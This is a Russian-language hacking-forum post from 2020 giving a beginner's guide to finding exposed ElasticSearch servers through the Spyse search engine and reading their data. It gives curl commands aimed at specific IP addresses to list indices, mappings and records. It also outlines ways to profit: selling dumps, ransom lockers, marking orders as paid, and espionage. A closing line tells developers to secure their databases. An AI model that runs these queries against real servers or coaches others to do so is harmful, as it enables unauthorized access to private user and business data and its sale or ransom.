Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Анализ открытых баз данных ElasticSearch (легкий гайд)
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Взлом и безопасность / Новичкам RSS подписка на сообщения с форума Subscribe
Для тех, кто не знает с чего начать. Темы "Хочу стать хакером" удаляются, авторам предупреждение ибо читайте раздел "Статьи"

Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 955
Анализ открытых баз данных ElasticSearch (легкий гайд)
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
Dzen_z


Novice
# | Сообщение добавлено 21.07.2020 09:56:40
Повесть о том, как разработчики пренебрегают защитными мерами и как хакеры могут этим воспользоваться
 
Проблема: тысячи серверов с базами данных ElasticSearch свободно доступны без смс и регистрации.
Проблема эластиков не нова, но как мы увидим дальше, разработчики все еще не спешат себя обезопасить. По умолчанию Elasticsearch не имеет никакой системы безопасности, что делает процесс сканирования довольно простым, чем мы и воспользуемся.
 
Я самостоятельно ничего не сканировал, т.к это незаконно во многих странах. Вся предоставленная информация получена с сервиса spyse.com.
 
На 15.06.2020, при запросе к порту 9200, было найдено 436 терабайт утекших данных принадлежащих таким предприятиям, как Amazon, DigitalOcean, Google, Microsoft, ESPN и многим китайским корпорациям.
 
Найденная информация содержит конфединциальные данные пользователей (имейлы, номера телефонов, пароли, история заказов, привязанные методы оплаты и тд.), бизнес данные (внутренняя информация компании, информация о поставках, продуктах...), адреса биткоин кошельков и многое другое.
 
Пример полей найденных у Amazon:
*Важно - это лишь быстрый пример. Сервер может принадлежать тому, кто использует Amazon в качестве хостинга. Найти и детально изучить базы можно будет после прочтения этого гайда.
[HTML]"fields_list": [
     "auth_user",
     "auth_user.company_id",
     "auth_user.country",
     "auth_user.country.address_format_id",
     "auth_user.country.country_name",
     "auth_user.country.ebay_countrycode",
     "auth_user.email",
     "auth_user.first_name",
     "auth_user.is_active",
     "auth_user.is_staff",
     "auth_user.is_superuser",
     "auth_user.issuperadmin",
        "auth_user.last_name",
     "auth_user.password",
     "auth_user.reset_password",
     "email",
     "first_name",
     "gender",
     "last_name",
     "orders",
     "phone",
     "tab_id",
     "tab_name",
     "tab_parent_id",
     "tin",
     "totalorder"
][/HTML]
 
Утекшие данные ElasticSearch
Самые популярные индексы баз данных называются Readme, Kibana или nightlionsecurity.com.
Readme - скорее всего говорит о том что база данных взломана и залочена с требованием выкупа.
Kibana - помогает анализировать логи (в которых тоже много всего интересного)
Последний - компания, рекламирует себя путем переименования утекших баз данных.
 
После анализа удалось выяснить что на 15.06.2020 4,1% баз данных уже были взломаны с требованием выкупа.
Одна из основных функций Spyse - это автоматический анализ и связывание данных. Благодаря этому можно быстро проанализировать или произвести поиск с учетом связей между IP, доменами, организацией, странной и другими сущностями интернета.
 
Топ 3 самых уязвимых стран
China - 5468
United States - 4256
Germany - 1070
Топ уязвимых доменов по Alexa Rank
16451 - espn.com.mx
18568 - htmlbook.ru
21661 - qyresearch.com
25914 - econet.ru
28058 -baiduyunpan.com
30961 - btba.cc
31947- btba.com.cn
32804 - espn.com.au
 
Топ 10 самых уязвимых организаций
Hangzhou Alibaba Advertising Co., Ltd. - 2478 серверов
Amazon.com, Inc. - 1933
DigitalOcean, LLC - 1332
Google LLC - 1203
Shenzhen Tencent Computer Systems Company Limited - 910
OVH SAS - 825
Microsoft Corporation - 745
Hetzner Online GmbH - 336
Linode, LLC - 321
China Unicom Beijing Province Network - 236
 
Как хакеры могут воспользоваться данными
Вариантов эксплуатации подобных данных очень много, рассмотрим несколько простых.
Продажа данных. Простой дамп базы данных и продажа ее в даркнете. Это может быть как продажа целой базы так и отдельный тип данных, номера и пароли платежных карт.
Выкуп. База данных закрывается локером который шифрует всю информацию и дает доступ только при наличии специального ключа, или нет. Зачастую даже после выплаты требуемой суммы данные остаются заблокированными.
Бесплатные покупки. При наличии доступа к базе данных где хранятся продукты, злоумышленник может поменять статус заказа на “оплачено” и бесплатно рассылать себе товары/продукты.
Шпионаж. Данные могут быть проданы конкурентам или использованы для собственного обогащения. Например можно вложиться в компанию перед большим слиянием.
 
Как найти базы данных Elasticsearch
WEB интерфейс
Все данные фактически лежат на поверхности, нужно только постучаться. Что мы и сделаем используя поисковик Spyse.
Самый простой способ поиска информации это использование Web интерфейса.
 
Алгоритм поиска:
Перейдите на spyse.com, нажмите кнопку расширенного поиска (advanced search) на домашней странице и используйте всего один фильтр, чтобы найти нужную информацию - IP > Ports & Technologies > Opened Ports List > equals to > target – 9200 (номер порта который мы исследуем)
URL поискового запроса.
https://spyse.com/advanced-search/ip?search_params=%5B%7B%22ip_port_open_ports%22%3A%7B%22operator%22%3A%22eq%22,%22value%22%3A%229200%22%7D%7D%5D
 
В результатах поиска вы найдете все IP-адреса с открытым портом 9200, на котором мы предполагаем есть Elasticsearch. Но если вы хотите убедиться, используйте простой запрос Get для каждого IP-адреса и в ответе получите подтверждение гипотезы.
 
Вся дополнительная информация - связанные организации, интернет-провайдеры, домены и поддомены, рейтинг Alexa, номер AS и т. д... Уже связана с помощью алгоритмов Spyse.
Для более продвинутых пользователей которые хотят автоматизировать поиск рекомендуется освоить работу с API.
 
Использование API
Первый запрос предоставляет почти ту же информацию, что и web, за исключением только всех доменов, связанных с IP. Это связано с тем, что если IP не имеет записи PTR, он не будет связан с доменом. Чтобы предотвратить эту ситуацию и расширить диапазон исследования, добавив несколько новых доменов, нужно использовать один дополнительный запрос.
 
Пример первого запроса:
https://api.spyse.com/v2/data/ip/search?limit=10&search_params=%7B%22ip_port_open_ports%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%229200%22%7D%5D%7D
 
Запрос можно проверить прямо в документации API Spyse. Для этого авторизуйтесь используя API token найденный на странице https://spyse.com/user. После, найдите POS / Ip / port и введите значения {«ip_port_open_ports»: [{«operator»: «eq», «value»: «9200»}]}
Пример:
[HTML]{
  "limit": 1,
  "offset": 0,
  "search_params": [
    {
      "ip_port_open_ports": {
        "operator": "eq",
        "value": "9200"
      }
    }
  ]
}[/HTML]
 
Результаты:
[HTML]{
   "ip":"3.122.243.58",
   "maxmind_geo":{
   "city_name":"Frankfurt am Main",
   "continent_code":"EU",
   "continent_name":"Europe",
   "country":"Germany",
   "country_iso_code":"DE",
   "location":{
     "lat":50.1188,
     "lon":8.6843
   },
   "tz":"Europe/Berlin",
   "updated_at":"2020-02-19T08:48:32.423012Z"
   },
   "maxmind_isp":{
   "as_num":16509,
   "as_org":"Amazon.com, Inc.",
   "isp":"Amazon.com",
   "org":"Amazon.com",
   "updated_at":"2020-02-19T08:48:32.423049Z"
   },
   "ptr_record":{
   "value":"ec2-3-122-243-58.eu-central-1.compute.amazonaws.com",
   "updated_at":"2020-02-18T15:58:17.539008Z"
   },
   "score":7,
   "severity_details":{
   "HIGH":10,
   "MEDIUM":19,
   "LOW":2
   },
   "updated_at":"2020-02-18T15:58:17.539008Z"
}[/HTML]
 
Для проверки действительно ли на порту есть Elasticsearch рекомендуется написать короткий скрипт который сам будет проверять цели.
Имеем информацию по IP на которых есть Elasticsearch. Второй запрос подразумевает сбор всех доменов привязанных к IP.
Пример запроса:
https://api.spyse.com/v2/data/domain/search?limit=10&search_params=%7B%22domain_dns_a%22%3A%20%5B%7B%22operator%22%3A%20%22eq%22%2C%20%22value%22%3A%20%223.93.170.245%22%7D%5D%7D
 
Проверьте это в документации API Spyse – GET /domain/search > {“domain_dns_a”: [{“operator”: “eq”, “value”: “8.8.8.8”}]}
 
Данные собраны.
 
Дальнейшие действия применимы только к базам данных Elasticsearch и направлены на получение информации с базы данных. Все, что нужно сделать, это правильно обратиться к базе (это зависит от версии эластика). Запросы, как обычно, представлены в документации по Elasticsearch.
 
Анализ баз данных Elasticsearch
Алгоритм поиска:
Обращаемся к адерсу где находится Elasticsearch в формате «ip: port / _stats».
Пример:
curl http://171.244.129.66:9200/_stats
Ответ вернет индексы, размер и количество документов.
Или > Информацию о том, что у нас нет разрешения на такие действия.
Или > Ошибку.
 
Если доступ запрещен или у нас нет доступа, можно попробовать получить информацию другим способом, указав путь _nodes.
Пример:
curl http://171.244.129.66:9200/_nodes
 
Когда индексы будут собраны, собираем их маппинги делая запросы формата: “ip:port/_mapping”, и после собираем их поля по пути “sql?format=json” запросы с пейлоадом в форматеt “{“query”:”DESC indexname“}”
Пример:
curl http://171.244.129.66:9200/_mapping
 
На последнем этапе - получение точных данных.
Отправляем путь «index / _search» в для получения 10 случайных записей каждого индекса.
curl --header "Content-Type: application/json" --request GET --data '{"query":"DESC products"}' '178.32.101.214:9200/_sql?format=json'
 
Проблемы с Elasticsearch
 
Важно понимать, что это не разовая утечка, эти базы данных постоянно доступны, но из-за пренебрежения базовыми методами защиты список постоянно пополняется.
 
На данный момент создано и описано множество методов для того чтобы сделать свои базы данных безопасными, так команда Elasticsearch разработала основные правила и рекомендации по безопасности. Настоятельно рекомендую изучать вопрос безопасности перед разработкой чего бы то ни было.
Сказать спасибо Ответить Цитировать

shellmann



HZ Administrator
HZ TEAM
# | Сообщение добавлено 06.10.2020 14:08:05
Можете залить к нам в раздел "Статьи" через "Прислать публикацию"
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • Релиз ядра Linux 5.9
  • Российские хакеры вооружились уязвимостью Zerologon
  • Тысячи приватных звонков американских заключенных оказались в отк...
  • Шифровальщик атаковал немецкую компанию Software AG
  • Злоумышленники используют службу Windows Error Reporting для бесф...
  • Microsoft предупредила о вымогателях, которые выдают себя за МВД ...
  • Инфостилер Valak ворует информацию из почтовых систем Microsoft E...
  • GitLab обнаружил множество уязвимостей в исходном коде проектов с...
  • Хакеры используют службу WER в бесфайловых кибератаках
  • Ботнет HEH способен уничтожить все данные на IoT-девайсах

    Все новости... Все статьи... Прислать новость RSS
  • Взлом и безопасность / Новичкам » Re: Сборщик емэйлов "обрезает" адреса.
  • Взлом и безопасность / Новичкам » Re: Анализ открытых баз данных ElasticSearch (легкий гайд)
  • Взлом и безопасность / Новичкам » Re: Сборщик емэйлов "обрезает" адреса.
  • Взлом и безопасность / Новичкам » Re: Сборщик емэйлов "обрезает" адреса.
  • Взлом и безопасность / Новичкам » Re: Сборщик емэйлов "обрезает" адреса.
  • Взлом и безопасность / Новичкам » Сборщик емэйлов "обрезает" адреса.
  • Взлом и безопасность / Новичкам » Re: Подайте направление, буду учеником, буду благодарен
  • Администрирование / Windows » Re: Востановление Windows 7
  • Взлом и безопасность / Новичкам » Анализ открытых баз данных ElasticSearch (легкий гайд)
  • Разное / Предложения работы » Re: Нужен реверс-инженер

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}